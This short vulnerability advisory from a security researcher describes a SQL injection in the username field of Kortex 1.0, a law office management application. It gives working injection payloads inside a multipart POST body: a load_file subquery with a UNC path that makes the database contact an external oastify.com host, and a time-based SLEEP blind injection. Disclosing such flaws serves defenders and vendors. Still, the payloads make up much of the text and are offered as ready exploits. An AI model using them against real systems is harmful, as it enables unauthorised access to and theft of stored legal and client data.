Authored by nu11secur1ty

Kortex version 1.0 suffers from a remote SQL injection vulnerability.

## Titles: KORTEX-1.0 SQLi
## Author: nu11secur1ty
## Date: 05/09/2024
## Vendor: https://mayurik.com/
## Software:
https://www.mayurik.com/source-code/P5339/best-free-law-office-management-software
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The username parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select load_file('\
j9tazz9i4vz388nvkixldsjo2f88w7kynmf95xu.oastify.comszc'))+' was submitted
in the username parameter. This payload injects a SQL sub-query that calls
MySQL's load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed.The attacker can get all
information from the system by using this vulnerability!

STATUS: HIGH- Vulnerability


[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: MULTIPART username ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ------WebKitFormBoundarydxCijN2QZ93BP1Et
Content-Disposition: form-data; name="username"

[email protected]'+(select load_file('\
j9tazz9i4vz388nvkixldsjo2f88w7kynmf95xu.oastify.comszc'))+'%' AND (SELECT
4483 FROM (SELECT(SLEEP(7)))KEXD) AND 'fMmv%'='fMmv
------WebKitFormBoundarydxCijN2QZ93BP1Et
Content-Disposition: form-data; name="password"

n5F!i6u!I5
------WebKitFormBoundarydxCijN2QZ93BP1Et
Content-Disposition: form-data; name="g-recaptcha-r
---
```

## Reproduce:
[href](https://www.patreon.com/posts/kortex-1-0-sqli-103918506)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/05/kortex-10-sqli.html)

## Time spent:
00:39:00